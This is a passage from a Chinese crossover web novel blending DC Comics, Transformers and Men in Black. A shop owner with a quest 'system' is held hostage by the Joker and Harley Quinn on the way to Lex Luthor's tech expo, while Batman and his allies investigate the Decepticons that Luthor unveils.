K实在对于自己的活宝同伴忍无可忍了，这种在公共场合讨论敏感话题的行为实在是太过鲁莽。
J看了一眼K，意识到了这一点，他转向文森特，微笑着说：“好吧，老板，别介意，我们是拍电影的，悄悄告诉你，那是我们新电影的营销，我是威尔·史密斯*，他是汤米·李·琼斯*。”
系统的提示和文森特的记忆闸门几乎是同时开启的。
【恭喜您解锁-黑衣人J&黑衣人K】
奖励：1000*2
带着灰尘的黑色西装，黑色墨镜，一位说着古板正式英语的白人，一位满嘴滑稽话的黑人，还用代号称呼。
靠，黑衣人的J和K。文森特深呼吸一口气，他终于想起了眼前的两人，也清楚地看到了J手上一直在把玩的金属笔——
记忆消除笔。
DAMN IT.
J变魔术似的从口袋里掏出两张电影票：“到时候新电影上映记得来看啊。”
文森特接过票，上面的变形金刚的字眼几乎让他绷不住自己的表情。幸好K在此刻从椅子上站了起来，他把小费放在盘子边缘。
“走吧。”
“我还没和老板推销完我们的新电影呢。”J失望地叹了口气，熟练地从怀里掏出记忆消除笔。
“hi老板和那边的朋友看这里。”银光闪过，记忆消除笔的光芒在昏暗的餐厅中划过一道亮丽的轨迹。
“你今天招待了两位电影制作人，他们还给你们了电影票，如果有时间记得去看并且给个好评哦。”J的声音在文森特耳边回响，仿佛一切都只是一场普通的日常交流。
文森特看着眼前的人，眼神中透露出一丝迷茫，但很快恢复了专业的态度：“欢迎下次再来。”
“再见老板，别忘了去看电影。”
文森特看着眼前的史密斯头上系统提示的名字终于意识到刚才发生了什么。
他立刻点开系统，系统的记录功能贴心的记录下了一切，包括那个重要地点，哥谭郊外的医院。
康斯坦丁看起来也没被科技迷惑，但他直接拒绝了文森特的邀请：“对不起，这个时间我不出门。”
“好吧，别偷吃我放在厨房的材料。”
“在你眼里我就是这种人吗？”康斯坦丁有些错愕，但是他把自己手里的东西往身后藏了藏。
文森特和大黄蜂飞驰在哥谭的夜色里，车子的引擎在夜晚的寂静中发出低沉的轰鸣。
哥谭市区总是灯火通明，就算是夜晚也亮如白昼，和郊区形成了鲜明的对比。
“黑衣人管理局……”车内的喇叭突然发出了声音，“我好像听说过，我的内存里有这条数据。”
文森特微微一笑，弹了一下手上的电影票：“要是这里找不到线索，我们可以试试看直接找他们。我猜他们应该会去看首映。”
他们在出城的路上畅通无阻，一路绿灯，拜赛博坦的科技和速度所赐，没过多久就到了目的地——哥谭郊外的唯一一家医院。
一路飙车让文森特心情大好，速度带来的肾上腺素让他暂时忘记了无法回家的失落感。
但是一下车出现在他们面前的却是一片荒地，完全不像是有任何异常的样子。大黄蜂打开了扫描装置，用最后的能量进行了扫描，却没有发现任何属于赛博坦的能量信号。
“MIB的能力还没到这个程度吧。”文森特自言自语道，他再次打开了系统，仔细核对地图，确认他们的位置，没错，哥谭郊外就这一家医院。
时间指向了深夜，文森特突然反应过来，他们可能来错了时间。
他立刻调用系统查询起来了哥谭郊外出现过的异常现象，系统几乎是立刻把消息整合到了文森特面前。
排除各种反派的恶性事件，只剩下了一个十年之前的陨石降落事件。在当时引发了不小的轰动，但是后面被戳穿只是某家电影公司的营销计划，电影上线之后赚的盆满钵满，可惜天妒英才，两位导演没多久就因为一场车
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祸离开了人世，令人唏嘘。
文森特站在荒地上，四周被深沉的夜色所笼罩，不远处的哥特风格的医院孤零零地矗立着，只有几盏红色的应急灯尽着杯水车薪地照着整座医院，月色朦胧地勾勒出它的轮廓，彷佛一座被遗弃的荒宅。
看着医院文森特感到一丝寒意爬上他的脊背，心里生出几分警惕。他打开地图，显示距离大都会只有一桥之隔，
消息显示这两位导演的公司之前就在大都会，文森特决定去大都会看看，说不定还能遇到自己的幸运之神呢，他和大黄蜂一拍即合，沿着郊区公路向着大都会的方向飞奔而去。
在这条偏僻的公路上，因为有了大黄蜂的帮助文森特不需要多仔细的注意道路，反而更多欣赏起了路边的风景，正在这时，他的目光突然被路边的一个单薄的身影所吸引。
一个年轻男人正站在微弱的路灯下。他穿着件深紫色的外套，帽子拉的很低，遮住了大半张脸，只能看到模糊的轮廓，但是手势明显是在寻找搭车的机会。
【限时任务·助人为乐】
任务须知：俗话说的好，助人为乐乃快乐之本，何况在深夜的郊区遇到了需要帮助的人。但是这里是哥谭，帮助人可谓是薛定谔的猫，你能抽到活的猫咪吗？
奖励：随机
文森特笑了笑，这个任务的描述真是充满了哥谭的风格，他减速将车停在了那个年轻男人的身边，摇下车窗，谨慎地问道：“需要帮助吗？”
“哇哦！谢谢你！今晚那么多人你是唯一一个停下的！”男人的声音里充斥着甜腻的惊喜，离得近能看到他殷红的嘴唇。
“你要去哪里？”
“我要去大都会，”男人自顾自上了车，还格外注意安全地系上了安全带，“我有个，呃，同事吧，今晚在哪里开科技展览会，明明是我们一起开发的产品，但是他没邀请我。”
“真巧，我也去大都会，正好我们顺路。”文森特说着，心中暗自思忖，看起来他抽到了一只“活猫”。
车迅速离开了原地，他不知道的是不远处的医院，哦不，是精神病院内部响起来了等级最高的警报——有人越狱了。
“他为什么没邀请你？”文森特有点好奇，他透过后视镜观察着这位同行人。
“他可能觉得我去会抢他的风头吧，你知道的，如果你是个光头看到头发茂盛的人还是会觉得不爽的。”男人话语中带着一丝自嘲。
“那今晚你得去他面前好好炫耀一下你的幽默。”文森特回应道，试图让气氛更轻松一些。
“谢谢您的夸奖，为世界带来快乐是我的职责。”男人的声音突然由甜腻转到了歌剧咏叹调，“我从小就被父亲教育要保持笑容，可惜他每天都是醉醺醺的回家，你知道的，在这样一个家庭人很难笑出来……所以我父亲帮了我一把。”
“他帮我找到了一个可以永远保持笑容的段子。”男人抬起头从后视镜里看到正在专心开车的文森特，扯出一个横亘全脸的笑容。
25.第 25 章
文森特没听清楚这位搭车客到底想说什么，坐在后排的男人声音越来越低沉，最后几个字词他的声音小的像是在说什么暗语。
“什么段子？”文森特眼神里带着一丝好奇，试图从搭车客哪里得到清晰的回答。
搭车客没有回答，文森特趁机扭头看了一眼，男人蜷缩在车厢角落，头随着呼吸在帽子下面轻轻活动，看起来已经睡了过去，只有窗外掠过的路灯子啊他身上投射下五彩斑斓的灯光。
像是马戏团的小丑玩弄着彩灯。
文森特的头扭了回来，他把注意力重新集中在前方的道路上。刚才的扫描耗尽了大黄蜂最后一丝赛博坦的能量，它现在无法再变形，但依然坚守着它最初的使命——成为一辆称职的交通工具。
引擎运转平稳，汽车的破空声被听得一清二楚，车内灯光柔和，仪表盘不时穿过几条消息，证明着大黄蜂的无奈。
“抱歉，我也没想到只有这么一点能量了。”
文森特的手指轻抚方向盘，他用肢体语言无声地表达了一个意思：你不必说道歉。
车窗外，城市的灯光出现在他们面前。大桥两旁的钢索在夜色中迅速后退，像是时间的流逝，也像是他们与哥谭的距离越来越远。
大都会和哥谭虽然只有一湾之隔，但像是两个世界。
大都会，明日之城，超人管辖的城市，在这里每个人似乎都有光芒的未来。
文森特一进城就看到了巨大的广告牌，那是莱克斯集团花费重金树立起来的广告牌，为的就是宣传今晚的科技展览。
文森特轻轻扭开车内音响的旋钮，一阵静电噪音过后，音响里传来了富有磁性的女声，它接收到了来自星球日报的广播信号：“各位观众晚上好，我是星球日报的路易斯·莱恩，正在莱克斯集团的科技展览会现场为您带来实时播报。”
她的声音在车厢里回荡：“韦恩先生正和他的女伴走过红毯，他的出现无疑成为了今晚的焦点，甚至盖住了刚刚走过的卢瑟先生。”
文森特的手指轻敲着方向盘，身后传来一个刚睡醒的声音，他刚想把声音扭小，就听后面的人说：“不用，我也想听听。”
“……紧随其后的是奎恩企业的总裁先生和他的女友。据悉，这两位商业巨头都和卢瑟先生有着合作的计划。”路易斯莱恩继续报道，她的声音透露出记者的专业，“不知道今晚他们会如何沟通，但可以肯定的是，这会是一场多赢的商业互动，路易斯莱恩将持续为您报道，带来最新的动态。”
一声戏谑的冷哼从文森特身后传来，是搭车的男人发出来的。
文森特没兴趣参与这几位商业巨子的争锋，他只想来看看黑衣人开的电影公司，找点关于大黄蜂对手的线索。
“我们现在到大都会了，”文森特从后视镜里看了一眼身后的人，刚睡醒让搭车客的帽子被搓揉了起来，露出几缕深绿色的发丝，文森特的心漏跳了一拍，“我把你在附近的车站放下？”
男人慵懒地伸了个懒腰，嘴角勾起一抹玩世不恭的笑容：“我要去莱克斯集团。”
文森特的眉头微微皱起，他又不是专职司机，只不过的顺路捎带一程罢了：“我可以把车停在附近的出租车点，你在那里等车，我查过，你只需要坐几站公交车就能到了，我还有自己的事情。”
“啊？”坐在后排的男人兜帽下的身体开始抖动，从无声的颤动转变为放声狂笑，只用了短短几秒钟。那是一种让人不寒而栗的笑声，充满了疯狂和不祥，文森特的汗毛竖起，内心的警报雷达响成一片。
【助人为乐（进行中）】
任务须知：哦天啊，你可真是个倒霉鬼，虽然猫是活猫，但是可怜的它被泡进了酸液，现在变成了一只疯猫，可怜你要面对这样一只猫，开始祈祷吧，祈祷至少黑暗降临的时候不要那么痛苦。
任务要求：活着回到店里。
奖励：拉撒路脂
文森特看着系统弹出来的提示内心疯狂咒骂，这根本就是把自己往地狱里逼啊。他的目光在后视镜中与男人的目光相遇，那是一种充满了疯狂和狡黠的眼神。
男人似乎察觉到了文森特的紧张，他缓缓地把兜帽彻底摘了下来，露出了绿色的短发和脸上那道标志性的刀疤。他的笑容里带着无法掩饰的疯狂，无一不透露着他的身份。
“……插播一条紧急消息，哥谭市郊外的阿卡姆精神病院刚刚发生了一起病人越狱事件，恶性危急病人小丑越狱，请各位市民注意安全，尽量减少出门。”广播里的主持人声音甚至都带着一丝颤抖。
那是小丑。
文森特的手心瞬间被汗水浸湿，脑海里闪过各种逃生方案，他第一次有了自己其实是在一个随时可能会没命的，有着超级英雄也有超级反派的世界。
这个世界的危险性远超他的想象。
一道银光在小丑指尖流转，那是一把匕首，干干净净地没有一丝血迹，反射着车外的光线：“现在可以去莱克斯集团了吗？”
文森特：你给我说不能的机会了吗？
“没问题。”文森特深呼吸一下，一脚油门直冲向了莱克斯集团。
——
“晚上好，艾莉娜，比上次见面又漂亮了。”哥谭宝贝布鲁西正在酒会里和美女调情，年近四十仍然是魅力四射的哥谭骑士。
但是被叫到的美女表情却不是很好看。她微微皱了皱眉，但还是换上一副可爱的表情纠正道：“我是邦妮，韦恩先生。”
尽管如此，邦妮还是凑上去和布鲁斯合影。毕竟，那可是布鲁斯·韦恩，如果能和他搭上一点关系，自己的名气和地位都能再涨上一个等级。
“哦布鲁斯你在这里，美女抱歉，我得借走他一会儿。”奥利弗·奎恩突然出现在两人身旁，他只是笑着和邦妮打个了招呼，便直接拉走了韦恩。
“别拉拉扯扯的，”布鲁斯的语气十分不耐，他从奥利弗的身侧探出头来打着招呼。“邦妮你等我一会儿我马上就回来。”
邦妮没有多说，点了点头乖巧地去继续和其他人社交了
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，那可是星城奎恩集团的总裁，自己可没这个把握从他手里抢人。她一眼就看中了在香槟台旁边和朋友聊天的男人。
“你好，我是邦妮，怎么称呼？”
“乔丹，哈尔·乔丹，晚上好。”
“巴里艾伦。”
两人拉拉扯扯地走到了外面的露台，奥利弗关上了门，隔绝了室内的喧嚣。
门关上的瞬间布鲁斯的表情立刻淡了下来，眼神里的甜蜜在一霎那荡然无存，他扯开领带，拿起一旁的酒杯把香槟洒在自己身上：“小丑？”
“不愧是你。”奥利弗鼓了鼓掌。“你是不是给他们植入了皮下追踪器啊？”
“你不是也常年盯着你的反派吗？”布鲁斯揉了揉自己的手腕，看着奥利弗的脸跃跃欲试，“我看你也没少丢追踪器。”
两人在心里不约而同地对对方的控制欲嗤之以鼻。
“神谕消息，”布鲁斯轻点了一下耳朵，里面的微型收发装置时刻接收着来自重要成员的信息，“监控显示他干掉了门卫之后，搭上了一辆黄色的科迈罗，现在估计快到了，红罗宾和罗宾正在跟着他们。”
“所以？”奥利弗挑了挑眉毛。
“所以没过多久小丑就要大闹会场了。”布鲁斯撇了一眼奥利弗的下巴，“得在他惹出大乱子之前阻止他。”
“至于莱克斯的阴谋，就只能交给我们可怜的，因为一个美女争风吃醋的奎恩总裁了。”
“不行，我今天和黛娜一起来的。绝对不可以。”奥利弗后退了两步。
布鲁斯轻啧了一声，看到了外面的哈尔乔丹。
“哈尔？”
“卡罗。”
两人迅速地交换了一下眼神，彼此间的信任和默契不言而喻。
哈尔正在香槟台旁边小酌，顺便和朋友交流宇宙警察和中心城警察的异同点。
不远处视线范围内，卡罗正在和卢瑟相谈甚欢，传言卢瑟即将揭晓的科技突破源自一项外星合作，据说是一词划时代的变革。
作为航天领域的领军人，费里斯企业自然不会放过这次千载难逢的机会。
但这一切都和哈尔·乔丹没关系，哈尔正有一搭没一搭的应付着搭讪的美女，一个拳头朝着他的脸就擦了过来。
“离邦妮远点。”
香槟塔在混乱中轰然倒塌，金色液体和玻璃碎片四处飞溅，哈尔·乔丹险些被碎片划伤。
巴里艾伦下意识抓住了拳头把人轻推了出去，在看清来人巴里恨不得立刻返回中心城，远离这场是非。
“他*的布鲁斯韦恩！”哈尔·乔丹摸过侧脸被玻璃划伤的小口子倒吸了一口凉气。
哈尔看到布鲁斯身后站的奥利弗立刻想通了一切，接着毫不客气地给了布鲁斯一拳。
这一下多少掺杂了私人感情。布鲁斯心想。
最后的结果是哈尔被毕恭毕敬请到了休息室换衣服，布鲁斯韦恩则回到了楼上包间醒酒。
哈尔和巴里对视了一眼，掏出了口袋里的纸条。
26.第 26 章
“不是，你说布鲁斯不会直说就算了，奥利为什么也这么神秘兮兮的？”哈尔一边嘀咕一边扫了眼手里的字条，字条上的字迹潦草，显然是它的主人在匆忙中写下的，上面只有简洁的位置和指令。
“以及我发誓，布鲁斯那一下绝对带着私人恩怨。”哈尔补充道，他只是对这种缺乏透明度的做法不满，“还有我们的联盟主席呢，这不是他的地盘吗？”
巴里的制服从戒指弹射而出，金红色的光芒一闪，只是一刹那，闪电侠的身影就出现在了哈尔面前，他的动作像是一道划破夜空的红色闪电。
“少说两句吧，天才，现在是1：0。”巴里轻松地打了个响指，面罩下露出的嘴角微微勾起，带着无比的自信。
“作弊抢跑可是要被判犯规的。”哈尔调侃道，他紧紧握住了绿灯戒指，集中精神，绿灯能量从他的指尖扩散覆盖到了全身，形成了一套完整的制服。
“走吧？”
“走喽。”
两人的身影消失在了绿光和金红相间的光芒中，只留下字条还在空中飘荡，似乎在诉说着未完的故事。
就在这时，原先用来防止窃听和监控的绿色能量罩开始向内部压缩，穿过了层层家具，将飘在半空中的字条化为了齑粉。
房间恢复了最初的平静。
——
远处的马路上，黄色科迈罗正以惊人的速度横冲在大都会的街头，引起路人的阵阵尖叫。
文森特几乎是一路绿灯开到了这里。
前面黑发女士正站在街边拦车，她穿着优雅的晚礼服，显然是精心打扮过，准备去赴一场重要的约会。
不过看起来像是被人放了鸽子，因为她正用高跟鞋轻轻敲打着人行道，显得有些不耐烦。
车里的小丑突然用刀尖戳了戳文森特，这个小动作使得文森特下意识地踩紧了脚下的踏板，伴随着小丑兴奋地尖叫和女士的哀嚎，一股泥水从路边飞溅而起，狠狠地泼在了那位准备赴约的女士身上。
女士的怒气冲冲地走到车边，用力敲了敲车窗，她的妆容已经被泥水破坏，显得狼狈不堪。文森特本想立刻开车远离现场。
但小丑的刀尖向前一顶，甜腻地说了声：“别动，打开车窗，让她过来。”
气急败坏的女士对着车窗痛斥：“这是我今晚打算约会的装扮呢！”
她美丽的眼线现在已经糊成了一团，脸上原本椭圆的腮红混杂着泥水显得惨不忍睹。
文森特的心跳加速，他知道自己必须迅速采取行动。
他从口袋里掏出一张纸和笔，匆忙写下自己的联系方式，同时尽量保持镇定地对那位女士说：“抱歉小姐，我知道这不足以弥补您的损失，但您想要什么赔偿我都可以，”他递给她一张便条，“但是我现在真的要走了。”
文森特的动作迅速，正在尽自己最大的努力让这位女士离开这个危险的局面。
女士探了探头，文森特非常确定她看到了小丑，他立刻决定发动汽车立刻的时候，那位女士的声音突然从愤怒转变为一种甜蜜的语调，这让文森特的动作一顿。
她拉开了后座的车门，优雅地坐到了小丑身边，仿佛这一切都是计划中的一部分。
“你在这里啊？”她的声音中满是惊喜，仿佛她已经等待这一刻很久了，“我等你好久，还以为你不来了呢。”
“帅哥你好，你可以叫我笑点。”笑点对着文森特露出一个友好的笑容。
她一边说，一边从她的手包中魔术般地掏出化妆工具，开始在车内细细地给自己重新上妆。笑点的手法熟练，每个动作都透出一股从容不迫的优雅。
那条沾满污水的裙子被她随手扔出窗外，不偏不倚地挡住了后车挡风玻璃，引发了一连串的混乱和相撞。车内的两人对此却毫不在意，反而因此欢呼起来，仿佛在欣赏著名马戏团的马戏表演。
“唉，你懂的，深夜不好打车，这是最听话的一个司机，尤其是他还有辆好车。”小丑斜靠在后座，像是一个普通的乘客对车评头论足，他的目光在文森特身上转了转，似乎在评估他的“听话”程度。
“这次是你错了哦，0：1，”笑点看了一眼手里的字条，用着近乎咏叹调的语气说道：“小丑先生，这位司机看起来也不怎么听话呢。”
字条上写着一条求救信息：阿卡姆，越狱犯，救我。
【助人为乐（进行中）】
任务须知：哎呀，看来今天你的运气真是背到家了。疯猫竟然又带来了一只疯猫。
好消息，这只新来的似乎比第一只稍微“温和”一些。
坏消息？她正在以你为“教具”，学习如何成为一名出色的“捕猎者”。
看来，你不仅要躲避一只疯猫的攻击，还得成为另一只的“教学示范”。
希望你的逃跑技巧比她的捕猎技巧更胜一筹。
任务要求：活着回到店里。
奖励：拉撒路脂*1瓶，能量糖*1瓶
系统的声音在文森特的耳边响起，而他只能坐在那里，目瞪口呆，一时之间竟然找不到合适的词汇来回应这突如其来的荒诞局面。
【祝你好运】
——
高处的天空中，一架蝙蝠战机如同夜空中的幽灵，紧紧跟随着下方的跑车，如同猎鹰追踪着它的猎物。
战机的轮廓在星光下若隐若现，更是增添了几份神秘。
“笑点上车，罗宾报告。”坐在后座的飞行员开口发出指令，他处在变声期的声音还带着沙哑，回荡在驾驶舱内。
按理说这种年纪的少年是不应该出现在这种高速飞行的战斗机之上的，但他和这架飞机的默契却让人惊讶，每一个操作都流畅自如，仿佛他已经驾驶这架战机无数次。
“红罗宾收到。”前座飞行员的手指在控制台上轻盈地跳动，仔细调整着战机的飞行姿态，确保和下面的跑车正保持着恰到好处的距离。
距离目标大楼还有五公里。
“神谕收到。”哥谭钟楼，神谕正坐在她的控制中心，她的眼睛紧盯着屏幕，手指在键盘上飞快地敲击。她正在计算着前方所有的道路，清理车道，为这辆跑车调度出一路的绿灯。
坐在巨型屏幕前的红发美女把头发解开，手指轻轻按下，宇宙中的十几颗卫星调转了方向。
“搞定。”神谕长舒出一口气，她的指尖离开键盘，靠在椅背上，眼中闪过一丝满意的神色。
“卢瑟今天的科技展到现在还
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没有消息吗？”红罗宾紧皱着眉头看着前面的大楼，那里面可能正酝酿着一个改变世界的秘密。
“据说是外星人科技？”神谕的视线移到了布鲁斯戴在身上的微型监控的屏幕，他已经重新返回了宴会上，摄像头紧盯着大厅中央舞台被丝绒布遮盖的地方，那是今天要展示的展品。
“外星人科技？”罗宾发出不屑地声音，“怎么，他终于能进去孤独堡垒掌握氪星核心科技了？”
“这倒没有，康纳说孤独堡垒现在只有他和小氪，还有超人那一园子珍稀动物。”红罗宾冷静地指出了身后人错误，“而且他不可能搬动孤独堡垒的门钥匙。”
“无论如何我们要小心。”神谕的手指再次轻触键盘，她锐利的目光紧盯着屏幕上的数据流，她还在为自己的队友提供哥谭的监控，正在夜巡的女孩子们那边目前一切顺利，跟着小丑越狱的大部分犯人已经被重新带回了监狱——或者医院。
“战机已接近目标区域，正在降低高度以便近距离观察。红罗宾报告。”红罗宾冷静地声音回荡在驾驶舱里，手里的动作干净利落毫不拖泥带水。
“神谕收到，保持隐蔽，保持无线电静默。”
与此同时，布鲁斯在宴会厅的一角静静地啜饮着饮品，他的举止从容，仿佛与这场奢华的宴会融为一体。
原先倒塌的香槟塔已经被新的取代，晶莹剔透的酒杯和泡沫四溢的香槟再次成为宾客们交谈的背景。
他几次尝试接近被丝绒布遮盖的中央舞台，却总是被那些肌肉结实的保镖礼貌但坚决地拦下。在一次巧妙的转移注意力后，他终于让几个小钢珠滚落到丝绒布之下。
“收到，终于有信号了，稍等，”神谕的声音充满兴奋，但是集中之后，她原本兴奋的语气突然转成了疑惑，“那里面是几辆车。”
“车？”布鲁斯重复了一遍这个词，连词语一起喝进了口里。
钢珠自行变成的小机器人正在车上爬来爬去，扫描着每一个细节。
“图片已经发送到你的内置眼镜上了，”神谕的声音在通讯频道中响起，带着丝迟疑，“根据我们的机器人调查，这些确实只是几辆普通的汽车。而且，我还查到卢瑟在前段时间购入过一模一样的车型。”
她继续补充道，语气中透露出困惑：“但是这些车无论是价格还是外观都完全不是一个体系，它们就像是不同人根据个人喜好挑选的款式，却意外地出现在了同一个地方。”
布鲁斯的眼神从隐形镜片上扫过，这些车从价格到外观都有巨大的差异，甚至巨大到了如果这是一场车展都可以说是目标人群定位不清晰，更何况这是卢瑟的科技展。
布鲁斯的眉头微蹙，他在思考这背后深意。
大楼外，科迈罗从远处疾驰而来，以一个漂亮的甩尾漂移停在了门口。
“你好，请问有请柬吗？”门卫礼貌地迎了上来，职业又不失亲切。
然而回应他的却是直接喷到脸上的绿色的气体，门卫的脸部肌肉迅速开始不受控制的抖动，一抹巨大的，扭曲的笑容出现在门卫脸上，直直倒了下去。
“真抱歉，我忘带了，不过看起来你也不太介意。没事，我自己进去就好。”车里的人话语里满是歉意。
27.第 27 章
“布鲁斯，小丑到楼下了。”布鲁斯的微型耳机传来了红罗宾的声音。
“车里的人怎么样？”
小丑站在大厦的玻璃幕墙前，顶层被卢瑟用来召开这次科技展，他仰头望着灯火通明的露台，笑容爬上了他的眼睛。
他的身影在玻璃上投下一道扭曲的影子，小丑整理了一下自己的衣服，那上面沾满了暗红色的污渍，他步伐轻松，甚至带着一种奇妙的舞蹈的质感，不受世界的束缚。
跟在他后面的笑点正挎着文森特，她的目光紧紧锁定着前面的小丑，脸上挂着甜蜜的笑容。
“我就不上去了吧，”文森特试着抽了抽手，希望能够从笑点的控制中挣脱出来，但却发现她的握力惊人，一点也抽不出来。
“不行哦，我希望你上去。”笑点吹吹自己的指甲，欣赏着漂亮的颜色，“路上如果遇到了什么人还能把你扔出去挡枪，不是嘛？”
女孩的笑容灿烂，她干脆直接从自己的手包里掏出一个手铐，将两人紧紧铐在了一起，然后晃晃手拉着文森特往前走。
“女士，这是你先动手的，一会儿你和你男友解释这件事？”文森特发挥了超常的冷静，或者说他已经把生死之置之度外了，系统的奖励还在加码，他完全不想听系统到底打算让他如何一夜暴富了。
毕竟，一个将死之人，你画多大的饼他都没有胃口来吃，不是吗？
文森特在心里喊蝙蝠螨喊得都快破音了，但是五维生物像是还在睡觉，完全不理会他的呐喊。
文森特被笑点拉着走的时候开始思考自己是怎么沦落到这个地步的，如果一开始自己没有遇到黑衣人，如果自己没有用系统记住黑衣人的话语而是选择了和康斯坦丁呆在店里。
人生啊……文森特不抽烟，但是他很想找根烟凹个造型。
“啊？需要解释吗？”笑点有些疑惑，文森特从她眼里看出了明晃晃的几个字“尸体在说话”。
“那么我猜手铐也没有钥匙？”文森特问道，语气中带着一丝自嘲。
“bingo，猜对了，可惜没有奖励。”笑点轻笑着，她的手伸向文森特的脸，想要像对待一个宠溺的宠物一样揉捏。但文森特比她高出许多，让她的企图落空。她不满地翻了个白眼，狠狠把手铐向下一拉，终于成功地揉到了他的脸。
文森特被这突如其来的动作拽得一个踉跄，不知道什么时候放进口袋里的护身符被甩了出来。
原本就格外明亮的正方体现在像是找到了能源一样简直像个小手电，摸上去还有点烫手，彷佛有什么东西唤醒了蕴含在它内部的能量。
方块顺着大楼前的斜坡滚了下去，速度逐渐加快，最终被停在路边的科迈罗挡了下来。在没人看到的地方，正方形方块像是遇到了热咖啡的方糖一样融入了车身。
车前的大灯自发闪了几下，似乎在确定某种变化，接着，一道蓝光闪过，科迈罗自动启动，悄无声息地驶入了地下车库，消失在黑暗里。
红罗宾心念一动，往下看去，黄色炸眼的跑车现在已经找不到踪影。
“红罗宾，你在看什么？”
“没什么，我们走吧。”红罗宾收回了目光，语气依旧平静，专注地朝着他的目标地点前进，但心里默默给那道黄色记了一笔。
文森特被笑点紧紧拽着，两人的步伐不由自主地加快，以跟上前方那个几乎要跑起来完全不考虑身后人的小丑。
令人意外的是，前台处还有一位身着精致套装的女士在迎接他们，她姿态优雅，像是在迎接所有重要客户一样。
“你好，我的老板特别嘱咐我，在这里等候您的光临。”默茜微微点头，举止专业地引领三人往前走，一路上他们没有遇到任何人，像是卢瑟知道了这件事专门为他们开辟了绿色同道。
不远处的连廊里，几个刚下班的同事聚在一起，他们的目光都聚焦在卢瑟的贴身秘书默茜身上。
“vip？”
“我看是SVIP，”另一个同事纠正道，他的话语中透露出对公司内部等级制度的了解，“上次隔壁那个帕克总裁来都没让默茜亲自迎接。”
“我记得只有隔壁的布鲁斯来的时候是默茜和老板一起迎接吧。”
“那个黑发美女和金发帅哥看背影就有够好看啊，现在svip都是俊男美女吗？”
几个人讨论得热火朝天，其中一个人突然反应过来，好久没听到他们之中最爱说话的那个人的声音了。几人安静下来之后，听到了一阵呕吐的声音。
角落里，那位来自哥谭的分析师抖得像是筛糠，绿色的头发虽然只出现了几秒，但是几秒足以他认出那是谁了，那几乎是每个哥谭人的阴影。
他抱着垃圾桶就开始狂吐，直到这一行四人完全消失在他的视野里。他几乎是飞奔出了大楼，仿佛背后有什么东西在追赶他。
“哦，小默茜，你怎么还跟着哪个光头，我还以为你早就自立门户了呢？”小丑的声音在宽阔的观光电梯里回荡，打破了宁静。
“我只是在履行我的职责，我的老板对您的到来非常忠实，他特别嘱咐我确保您能够顺利到达。”默茜脸色未变，依然保持着冷静和从容：“老板希望他的合作伙伴能够安全
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到达会场。”
神谕正监听这一切，默茜的这句“合作伙伴”被通讯送入了在线的每一个人耳朵里，危险等级指数级上升。
小丑咧嘴一笑，他的笑声在空气中荡漾：“顺利到达？哦，那可真是太好了。但我敢打赌，你的卢瑟先生可不只是想让我‘顺利到达’这么简单。”
他突然逼近默茜，距离近到默茜几乎能看到小丑脸上不均匀的白色油彩：“你知道我为什么又回到阿卡姆了吗？”
没等默茜回答，小丑的情绪突然爆发，他的话语中充满了自怜和愤怒：“当然是因为你伟大的老板，为了独吞我们的研究成果，把我丢给了batsy。”
“然后把我做的这一切抹去，我只是想争取我的权力！”小丑的眼泪顺着眼眶留下了，白色油彩划出一道道泪痕，下面是更惨淡的肤色。“我只想争取用这份能力给人带来更多的快乐，你的好老板拒绝这么做，他可真是个彻头彻尾的蠢货。”
文森特站在电梯里，感觉自己与这个场景格格不入。默茜冷静理智，她的目光像是在看马戏团的表演，文森特毫不怀疑这位默茜助理如果可以甚至会给小丑的表演鼓掌。
而笑点就更不用说，她已经开始鼓掌了，连带着文森特的手不得不跟着一起运动。
文森特心中暗自决定，如果能成功回到餐厅，自己至少三年绝对不会踏足大都会和哥谭了，至少三年。他得远离这些疯狂和危险，回到他的平静生活中去。
文森特只想过平静生活。
电梯上升的极快，默茜甚至还在一旁介绍观光电梯的时速情况，以及每层楼能看到的景色，像是接待所有客人一样，精准，专业，高效。
文森特不仅开始思考再一次思考人生的价值，和自己今晚为什么要出门这个问题。
同一时代，正在MIB写报告的J和K同时打了个喷嚏，他们互看了一眼，耸了耸肩，继续埋头于他们的工作中。
没多久电梯就升到了顶层，电梯门缓缓打开，映入眼帘的是金碧辉煌的科技展现场——但是隔着一层玻璃。
他们被请到了最好的包厢欣赏这一切。
莱克斯·卢瑟正站在舞台边上，拉着红色的丝绒盖布，他的姿态自信得意，仿佛掌控着一切。
“女士们先生们，欢迎来到这次跨时代的展览，这次是来自另一个生命物种的研究成果，一旦大规模投入产出会帮助人类实现飞跃。”
台下掌声雷动，包厢里安静的像是北极。
“那么，让我们来看看这份跨越时代的产物——”
“赛博坦科技！”
28.第 28 章
随着莱克斯·卢瑟戏剧性地一拉，丝绒布像摩西分海一样从两侧被优雅地拉开，现场的气氛随之沸腾，掌声如同潮水般淹没了整个展厅。
但是在高处包厢中的文森特却看出了一丝端倪，原本应该完整的幕布，却在一瞬间变成了左右两部分。
那并非是简单的拉开，而是幕布下面的机器人在几微秒内变身以一种几乎暴力的方式劈开了幕布，干脆利落地将其一分为二，暴虐的力量几乎要碾压整场，然后迅速变回车的形态。
文森特的眉头几乎皱到了一起，他的动态视力足够好，好到他清楚地看清了这群机器人身上的霸天虎标志。
而且就算是视力不行，终于活过来的系统还很贴心地给了标签提示，红的几乎出现出紫黑色的霸天虎标识让文森特手攥了又攥，
它似乎在这个时候还不忘提醒他还有任务要做，再一次提高了奖励的筹码，一副看热闹不嫌事大的姿态让文森特咬紧了后槽牙，下意识扯了扯被铐住的手腕。
笑点注意到了文森特的异样，她凑近了一些，低声问道：“怎么了？你看到什么了？”
文森特的目光依旧锁定在下面车身上，他回答着笑点的话，声音低地几乎听不清：“你没看到吗？那个幕布不是被拉开的，是被劈开的。这不是展示，这是在示威。”
“我就说我有看到什么一晃而过。”笑点歪歪头，“可那和我有什么关系？再说了，你怎么知道的这么清楚？”
文森特哽住了，他没法解释自己怎么知道下面的那些车的情况，他的目光扫过四周，小丑的身体几乎贴在包厢的玻璃上，他的目光痴迷又狂热地盯着下面的机器人，彷佛在等待着好戏开场。
默茜面无表情地站在离他们三步远的地方，一半的精力用来监控他们，一半的精力集中于楼下的卢瑟，确保一切正在按照计划进行。
——
场内的所有人都对这幕发出了惊叹的呼声，布鲁斯一边端起酒杯频频鼓掌，一边迅速用隐形眼镜拍下这一切。
他的第六感告诉他这不算对劲，好吧，他知道那不是第六感，只是他经验的集合，但是现在的他还无法梳理出这个线头。
钟楼里，接收到信号的神谕正在一帧帧地分析这段影片，直到她把放慢到纳秒级别——那几乎是钟楼能放慢的第二慢程度——之后，才看清了机器人出现，抽刀，暴力挥断幕布的全画面。
